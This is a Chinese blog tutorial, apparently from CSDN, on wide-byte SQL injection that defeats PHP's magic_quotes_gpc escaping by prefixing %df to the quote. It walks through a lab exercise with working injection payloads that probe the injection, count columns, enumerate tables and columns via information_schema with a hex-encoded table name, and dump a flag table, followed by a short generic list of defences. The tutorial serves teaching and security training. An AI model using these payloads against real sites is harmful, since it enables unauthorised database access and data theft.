宽字节注入(一)

在PHP中有这样一个函数:
magic_quotes_gpc
它的作用就是将你输入的特殊字符前面统统加一个 \ 符号

如下图前2句话

在这里插入图片描述
在看下面这条语句之前,我们首先需要知道。

\'  只能和\'进行闭合

下面这个语句,显然不能将 1 进行闭合。而是将 \ 当成了一个字符串。后面的单引号把后面的给后面的给闭合了。

不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。

select * from admin where id='1\' union select -- + '

而遇到魔术引号这哥函数,我们有2种方法,下面就来介绍宽字节注入
在这里插入图片描述

宽字节注入原理

上面我们已经知道了魔术引号的作用了,是将特殊字符前加一个 \ 符号,这样就不能闭合了。
而我们想要SQL注入的话,就必须闭合才能SQL注入。

前提条件:
数据库必须是其他编码,比如utf-8 , gbk ,不能是英语编码(ascii)就行

然后我们知道 \ 的编码为 5c 也就是一个字符,而gbk编码是占2个字符,utf-8编码是占3个字符,
这里我们就以 gbk编码来举列子,5c加上另一个字符就可以组成一个汉字,比如 d55c 就可以组成一个繁体汉字“誠”
而我们这里是URL传参,所以是 %d5%5c
在这里插入图片描述

举例

id=1%df' union select 1,2,3 — qwe 
为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。

为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

以下是练习,可以不用看


%df' and 1=1 -- + 回显正常
%df' and 1=2 -- + 回显错误
说明存在sql注入,而且是宽字节注入

在这里插入图片描述
判断字段数

%df' order by 3 -- + 回显正常
%df' order by 4 -- + 回显错误,那就说明有3个字段

在这里插入图片描述
判断回显位

%df' union select 1,2,3 -- +

在这里插入图片描述
从上面我们知道有2个回显位
那么现在就来判断数据库版本和当前数据库
在这里插入图片描述
联合查询当前数据库里的表
这里我就不过多介绍一些数据库函数了,在显错注入(一)里有介绍

 %df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +

在这里插入图片描述
联合查询表里的字段
在这里我们很明显是为了拿flag,那么就选第一个表,其他的表就不多测试了

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' -- +

第一种方法:那么就不选表,全部输出

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() -- +

在这里插入图片描述
第二种方法:如果硬要选择表的话,那就是

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) -- +

在这里插入图片描述
第三种方法:因为数据库认识16进制,那么我们查询出表之后,就把表的字符转成16进制。
网站地址 https://www.bejson.com/convert/ox2str/
在这里插入图片描述
0x是16进制的标识

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 -- +

在这里插入图片描述
联合查询表里的字段

%df' union select 1,2,group_concat(C_Flag) from china_flag -- +

在这里插入图片描述
好了,成功拿到flag!

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入宽字节注入都是常见的安全漏洞类型。下面我将简要介绍这两种注入方式。 1. SQL注入SQL注入是一种在应用程序中利用不正确处理用户输入的漏洞,攻击者可以通过在用户输入中插入恶意的SQL代码来执行非授权的数据库操作。这可能导致数据泄露、数据篡改、绕过认证、获取系统权限等问题。 预防SQL注入的措施包括: - 使用参数化查询或预编译语句来处理数据库查询,而不是直接拼接用户输入的数据。 - 对用户输入进行严格的验证和过滤,避免将未经处理的输入直接传递给数据库查询。 - 最小化数据库用户的权限,并且仅分配最低必要的权限。 2. 宽字节注入宽字节注入是一种特定于某些数据库和编码方式的注入攻击方法。它利用了某些编码方式对特殊字符的处理不当,从而绕过了应用程序对输入进行过滤和验证的机制。攻击者可以通过插入宽字节字符来篡改SQL语句或绕过认证。 预防宽字节注入的措施包括: - 使用合适的编码方式,例如UTF-8,以避免特殊字符被误解释。 - 进行输入验证和过滤,确保特殊字符被正确处理,不会导致SQL语句的非预期解析。 - 定期更新数据库和应用程序框架,以修复已知的宽字节注入漏洞。 总的来说,要防止SQL注入宽字节注入等安全漏洞,应该采取综合性的安全措施,包括输入验证、参数化查询、最小权限原则、使用最新版本的软件以及定期进行安全审计和漏洞扫描。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值